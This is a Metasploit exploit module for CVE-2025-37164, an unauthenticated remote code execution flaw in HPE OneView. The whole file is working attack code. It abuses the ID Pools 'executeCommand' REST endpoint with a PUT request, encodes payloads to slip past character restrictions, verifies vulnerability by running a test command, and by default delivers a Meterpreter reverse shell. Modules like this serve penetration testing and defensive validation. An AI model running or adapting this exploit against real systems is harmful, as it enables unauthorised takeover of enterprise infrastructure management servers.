## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'HPE OneView unauthenticated RCE', 'Description' => %q{ This module exploits an unauthenticated RCE vulnerability, CVE-2025-37164, against Hewlett Packard Enterprise (HPE) OneView. All versions below 11.00 are vulnerable (so long as the vendor supplied hotfix has not been applied), however some VM product versions do not enable the vulnerable "ID Pools" endpoint, and are not exploitable. }, 'License' => MSF_LICENSE, 'Author' => [ # Original finder 'Nguyen Quoc Khanh', # Analysis and exploit 'remmons-r7', 'sfewer-r7' ], 'References' => [ ['CVE', '2025-37164'], # Vendor advisory ['URL', 'https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbgn04985en_us&docLocale=en_US'], # Rapid7 ETR blog ['URL', 'https://www.rapid7.com/blog/post/etr-cve-2025-37164-critical-unauthenticated-rce-affecting-hewlett-packard-enterprise-oneview/'], # Rapid7 Analysis ['URL', 'https://attackerkb.com/topics/ixWdbDvjwX/cve-2025-37164/rapid7-analysis'] ], 'DisclosureDate' => '2025-12-16', 'Privileged' => false, # Executes as trm3. 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Targets' => [ [ # Successfully tested with the following payloads against OneView 6.60.07: # cmd/unix/reverse_ncat_ssl # cmd/linux/http/x64/meterpreter_reverse_tcp 'Default', { 'Payload' => { 'BadChars' => '"\' ', 'Encoder' => 'cmd/ifs' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' } } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([OptString.new('TARGETURI', [true, 'Base path', '/'])]) end def check # We can pull out the current REST API version number and correlate it back to a major.minor product number # based on known values. This is informational only, the check routine will leverage the vulnerability to # identify if the target si actually vulnerable. This is due to the vulnerability not being present on # some VM versions due to the ID Pool endpoints being disabled. res_ver = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'rest', 'appliance', 'version') ) return CheckCode::Unknown('Connection to /rest/appliance/version failed') unless res_ver return CheckCode::Unknown("Unexpected /rest/appliance/version response code #{res_ver.code}") unless res_ver.code == 200 json_ver = JSON.parse(res_ver.body) version_string = 'Detected ' version_string += json_ver['modelNumber'] || 'HPE OneView' version_string += ' version ' version_string += json_ver['softwareVersion'] || 'unknown' # We leverage the command execution vulnerability to execute a benign command. We test that this command executed # successfully below. Note, we aren't checking the stdout, so we cannot do a proof-of-execution check like # "echo $((1+2))" and then test for the result of "3". cmd = "echo #{SecureRandom.uuid}" res = execute_cmd(cmd, shell: false) return CheckCode::Unknown("#{version_string}. Connection failed") unless res # The vendor hotfix adds an HTTP rewrite rule to force the target endpoint as 404. # Some Virtual Machine based product versions don't support ID Pools, so report 404 for the missing endpoint. return CheckCode::Safe("#{version_string}. Target endpoint returned response code #{res.code}") if res.code == 404 return CheckCode::Unknown("#{version_string}. Unexpected response code #{res.code}") unless res.code == 200 j = JSON.parse(res.body) return Exploit::CheckCode::Vulnerable(version_string) if (j['type'] == 'ExecutableCommand') && (j['cmd'] == cmd) && (j['result'] == true) CheckCode::Unknown("#{version_string}. Unexpected JSON results") rescue JSON::ParserError return CheckCode::Unknown('Failed to parse JSON body') end def exploit res = execute_cmd(payload.encoded, shell: true) fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed') unless res fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200 j = JSON.parse(res.body) fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Response is not of type ExecutableCommand') if j['type'] != 'ExecutableCommand' # If Runtime.getRuntime().exec succeeds, the "result" will be true. If an IOException was thrown, this is caught and # the "result" will be false. So we can use this to see if our payload command executed successfully or not. # We dont fail_with() but rather print_warning() in case the payload executed before the failure # occurred (i.e. during cleanup). if j['result'] == false print_warning('Command execution returned a result of false, likely due to an unexpected IOException server-side') end rescue JSON::ParserError fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to parse JSON body') end def execute_cmd(cmd, shell:) send_request_cgi( 'method' => 'PUT', 'uri' => normalize_uri(target_uri.path, 'rest', 'id-pools', 'executeCommand'), 'ctype' => 'application/json', 'data' => { # As this is in JSON, we cannot have " or ' characters. We mark these as BadChars so Metasploit will use an # encoder to avoid them. To shell out to /bin/sh -c we need to wrap the arguments in quotes. As we cannot do # this, we also mark a white space as a BadChar, and use the IFS encoder to encode them. This lets us use # arbitrary Metasploit command payloads successfully via an unquoted /bin/sh -c PAYLOAD 'cmd' => shell ? "sh -c #{cmd}" : cmd, 'result' => false }.to_json ) end end